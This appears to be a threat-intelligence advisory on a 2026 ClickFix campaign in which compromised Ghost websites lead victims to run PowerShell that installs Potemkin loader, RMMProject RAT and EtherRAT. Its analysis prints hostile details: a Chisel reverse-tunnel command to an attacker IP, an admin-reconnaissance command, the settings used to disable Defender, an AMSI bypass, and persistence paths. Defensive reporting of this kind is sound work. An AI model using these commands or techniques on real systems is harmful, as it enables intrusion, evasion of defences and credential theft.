# ClickFix Campaign Deploying Potemkin Loader, RMMProject RAT, and EtherRAT - May 2026 Enterprise Compromise

> A sophisticated multi-stage ClickFix social engineering campaign exploited 700+ compromised websites (May 2026) to deliver Potemkin loader, which stages RMMProject RAT (with Chrome App-Bound Encryption bypass and hidden-desktop banking fraud capability), and EtherRAT blockchain-anchored backdoor. Confirmed hands-on-keyboard intrusion across 11 hosts with lateral movement via WMIExec/SMBExec, Windows Defender disablement, Chisel SOCKS tunnels, and Cloudflare tunnel persistence.

- **Published:** 2026-06-28T00:00:00Z
- **Last reviewed:** 2026-06-28T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0972
- **ID:** TL-2026-0972
- **Severity:** CRITICAL
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 35 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2026-26980

## Description

In May 2026, a coordinated ClickFix campaign compromised 700+ Ghost-powered websites through CVE-2026-26980 SQL injection, injecting malicious JavaScript that delivers a sophisticated attack chain via social engineering. Victims are tricked into copying base64-encoded PowerShell commands into the Windows Run dialog (Win+R), which abuses pcalua.exe as a Living-Off-the-Land Binary to proxy mshta.exe execution. This fetches a remote HTA payload from cl.distritovagas.com, which silently downloads an MSI installer (inst24.msi) and executes it via msiexec /qn. The MSI drops Potemkin loader to C:\Users\<username>\AppData\Local\Microsoft\RunSearch\RunSearch.exe with registry persistence via HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch. Potemkin implements a deterministic Domain Generation Algorithm (DGA) seeded with 151678 to probe 10,000 .xyz domains for redundant C2 discovery, polling every ~5 minutes to a /api/client_hello endpoint. Upon callback, Potemkin reflectively loads RMMProject RAT, a 4.4 MB x64 DLL embedding LuaJIT scripting engine with 15 distinct task types. RMMProject features browser credential and cookie theft across Chrome, Firefox, and Edge via a sophisticated Chrome App-Bound Encryption bypass by injecting a helper DLL into a spawned browser process, then interacting with COM interfaces to decrypt protected keys. The malware includes a hidden-desktop remote control module (RTSC) that creates an invisible Windows desktop running an authenticated browser session—a technique commonly leveraged for banking fraud and unauthorized financial transactions. RMMProject also embeds its own copy of Potemkin's DGA for redundant C2 resolution. In parallel, EtherRAT (Node.js backdoor) is deployed via WMIExec/SMBExec spray to 11+ hosts, resolving its C2 from an Ethereum smart contract (0xb3f2897f2bc797e5b9033faef8c81e92b01cb831) instead of hardcoded domains, achieving unprecedented resilience against domain takedowns. The operator establishes persistence through per-user Run keys (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) executing conhost --headless with node.exe and encrypted configuration files. Lateral movement leverages Impacket WMIExec and SMBExec tools to propagate across the network, with reconnaissance via 'whoami /groups | findstr /i admin' command injection. The attacker disables Windows Defender via PowerShell policy modifications (DisableAntiSpyware, DisableRealtimeMonitoring, DisableIOAVProtection, DisableBehaviorMonitoring), patches AMSI by overwriting the amsiInitFailed flag in System.Management.Automation.AmsiUtils via .NET reflection, adds exclusions to C:\ProgramData\p, and attempts reflective loading of Chisel binary. Chisel reverse SOCKS proxy (chisel client --auth <credentials> 77.110.122.58:24954 R:socks) enables pivoting through internal networks to domain controllers. A Cloudflare tunnel is deployed and masqueraded as svchost.exe, providing encrypted exfiltration and command-and-control resilience. The initial endpoint lacked endpoint detection and response (EDR) coverage, providing hours of unobserved attacker access for establishing persistence, lateral movement setup, and network reconnaissance before detection occurred.

## MITRE ATT&CK

- T1189 Drive-by Compromise
- T1566 Phishing
- T1195 Supply Chain Compromise
- T1204 User Execution
- T1059 Command and Scripting Interpreter
- T1210 Exploitation of Remote Services
- T1547 Boot or Logon Autostart Execution
- T1053 Scheduled Task/Job
- T1543 Create or Modify System Process
- T1055 Process Injection
- T1036 Masquerading
- T1027 Obfuscated Files or Information
- T1685 Disable or Modify Tools
- T1112 Modify Registry
- T1564 Hide Artifacts
- T1140 Deobfuscate/Decode Files or Information
- T1555 Credentials from Password Stores
- T1056 Input Capture
- T1057 Process Discovery
- T1018 Remote System Discovery
- T1082 System Information Discovery
- T1033 System Owner/User Discovery
- T1046 Network Service Discovery
- T1518 Software Discovery
- T1021 Remote Services
- T1570 Lateral Tool Transfer
- T1113 Screen Capture
- T1119 Automated Collection
- T1568 Dynamic Resolution
- T1008 Fallback Channels
- T1071 Application Layer Protocol
- T1090 Proxy
- T1572 Protocol Tunneling
- T1571 Non-Standard Port
- T1041 Exfiltration Over C2 Channel
- T1132 Data Encoding
- T1531 Account Access Removal

## Sources

- [Potemkin Loader & RMMProject The Anatomy of a ClickFix Attack | Huntress](https://www.huntress.com/blog/potemkin-loader-rmmproject-clickfix-attack)
- [ClickFix Attack Deploys Potemkin Loader, RMMProject RAT, and EtherRAT Across 11 Hosts](https://gbhackers.com/clickfix-attack-deploys-potemkin-loader/)
- [Hackers Use Potemkin Loader to Deliver RMMProject RAT in ClickFix Intrusion](https://cyberpress.org/potemkin-loader-deploys-rat/)
- [ClickFix Campaigns Expand Malware Delivery With New Loaders and Fake Update Lures](https://thehackernews.com/2026/06/clickfix-campaigns-expand-malware.html)
- [Think before you Click(Fix): Analyzing the ClickFix social engineering technique | Microsoft Security Blog](https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/)
- [ClickFix: The Social Engineering Technique Hackers Use to Manipulate Victims | Group-IB Blog](https://www.group-ib.com/blog/clickfix-the-social-engineering-technique-hackers-use-to-manipulate-victims/)
- [700+ education and tech websites hijacked in huge ClickFix malware campaign | Malwarebytes](https://www.malwarebytes.com/blog/bugs/2026/05/700-education-and-tech-websites-hijacked-in-huge-clickfix-malware-campaign)
- [EtherRAT Distribution Spoofing Administrative Tools via GitHub Facades](https://thehackernews.com/2026/04/etherrat-distribution-spoofing.html)
- [EtherRAT & SYS_INFO Module: C2 on Ethereum (EtherHiding), Target Selection, CDN-Like Beacons | eSentire](https://www.esentire.com/blog/etherrat-sys-info-module-c2-on-ethereum-etherhiding-target-selection-cdn-like-beacons)
- [Dead Drops on the Blockchain: A Cross-Family Taxonomy of On-Chain C2, with First-Hand Reversal and an Empirical Study of Operator Tempo | Medium](https://medium.com/@rhishav.kanjilal14/dead-drops-on-the-blockchain-a-cross-family-taxonomy-of-on-chain-c2-with-first-hand-reversal-and-e537e11cf8d2)
- [Hackers Actively Exploiting Cloudflare Tunnels for Stealthy Attacks](https://cybersecuritynews.com/hackers-actively-exploiting-cloudflare-tunnels/)
- [ClickFix Campaigns Targeting Windows and macOS](https://www.recordedfuture.com/research/clickfix-campaigns-targeting-windows-and-macos)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0972